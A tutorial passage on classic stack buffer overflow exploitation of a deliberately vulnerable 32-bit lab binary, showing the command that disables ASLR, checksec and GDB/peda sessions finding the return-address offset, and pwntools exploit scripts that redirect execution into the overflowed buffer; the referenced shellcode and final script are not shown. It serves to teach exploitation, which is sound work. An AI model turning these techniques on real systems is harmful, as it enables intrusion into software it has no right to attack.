Let us revisit the classical technique of exploiting a stack overflow on a binary with no protections enabled and ASLR turned off. We will do a demonstration on a binary compiled from the following source code:
Before running the binary, disable ASLR with the command:
ubuntu@ubuntu-xenial:/vagrant$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
Verify that ASLR is indeed turned off.
Also, all protections are off.
The binary is simple. It reads 100 bytes from stdin into a 16 byte character buffer and prints the contents of the buffer to the user. On a benign execution, the behaviour might look like this:
It is very easy to get the binary to crash.
Let's delve into GDB to get the offset we need to place our return address at to control EIP.
We can begin writing a skeleton for our exploit.
If we run this and attach to the spawned process, we can verify that the program will crash on the address 0x41424344.
Next, we need to figure out where should we direct execution to. This would probably be somewhere in the buffer we write to with the read() call. If we break on the call to puts(), we can get a stack address we can use as the argument.
0xffffd5f0 is the start of buffer the user input is read into. A good place to jump to would be (0xffffd5f0 + 28 + 4). This lets us put our shellcode right after the return address. To begin with, we can test out strategy by filling that space with 'int 3' instructions (0xcc).
Now, we can run this, attach our debugger to the process and see if it breaks.
Taking some shellcode from Aleph One's 'Smashing the Stack for Fun and Profit':
Putting it all together:
Running the script.
Note that you might have to adjust the return address as the one on this machine might not match up to the one on your machines.
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ checksec ./1_vulnerable
[*] '/vagrant/lessons/4_classic_exploitation/build/1_vulnerable'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
ubuntu@ubuntu-xenial:/vagrant/lessons/4_classic_exploitation/build$ gdb ./1_vulnerable
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./1_vulnerable...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /vagrant/lessons/4_classic_exploitation/build/1_vulnerable
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x44414128 ('(AAD')
ESP: 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xffffd5f0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd5f4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffd5f8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffd5fc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffd600 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffd604 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffd608 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffd60c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset 0x413b4141
1094402369 found at offset: 28
gdb-peda$
#!/usr/bin/python
from pwn import *
def main():
# Start a process
p = process("../build/1_vulnerable")
# Create payload
ret_address = 0x41424344
payload = "A"*28 + p32(ret_address)
payload = payload.ljust(100, "\x00")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload to the binary
p.send(payload)
# Pass interaction back to the user
p.interactive()
if __name__ == "__main__":
main()
gdb-peda$ attach 9639
Attaching to process 9639
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x21 ('!')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd640 --> 0x0
EIP: 0x41424344 ('DCBA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41424344
[------------------------------------stack-------------------------------------]
0000| 0xffffd640 --> 0x0
0004| 0xffffd644 --> 0x0
0008| 0xffffd648 --> 0x0
0012| 0xffffd64c --> 0x0
0016| 0xffffd650 --> 0x0
0020| 0xffffd654 --> 0x0
0024| 0xffffd658 --> 0x0
0028| 0xffffd65c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41424344 in ?? ()
gdb-peda$
#!/usr/bin/python
from pwn import *
def main():
# Start a process
p = process("../build/1_vulnerable")
# Create payload
ret_address = 0xffffd5f0 + 28 + 4
payload = "A"*28 + p32(ret_address)
payload = payload.ljust(100, "\xcc")
# Print the process id
raw_input(str(p.proc.pid))
# Send the payload to the binary
p.send(payload)
# Pass interaction back to the user
p.interactive()
if __name__ == "__main__":
main()
gdb-peda$ attach 9675
Attaching to process 9675
Reading symbols from /vagrant/lessons/4_classic_exploitation/build/1_vulnerable...(no debugging symbols found)...done.
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
gdb-peda$ c
Continuing.
Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x65 ('e')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7fc8870 --> 0x0
ESI: 0xf7fc7000 --> 0x1b1db0
EDI: 0xf7fc7000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd610 --> 0xcccccccc
EIP: 0xffffd611 --> 0xcccccccc
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffd611: int3
0xffffd612: int3
0xffffd613: int3
0xffffd614: int3
[------------------------------------stack-------------------------------------]
0000| 0xffffd610 --> 0xcccccccc
0004| 0xffffd614 --> 0xcccccccc
0008| 0xffffd618 --> 0xcccccccc
0012| 0xffffd61c --> 0xcccccccc
0016| 0xffffd620 --> 0xcccccccc
0020| 0xffffd624 --> 0xcccccccc
0024| 0xffffd628 --> 0xcccccccc
0028| 0xffffd62c --> 0xcccccccc
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xffffd611 in ?? ()
gdb-peda$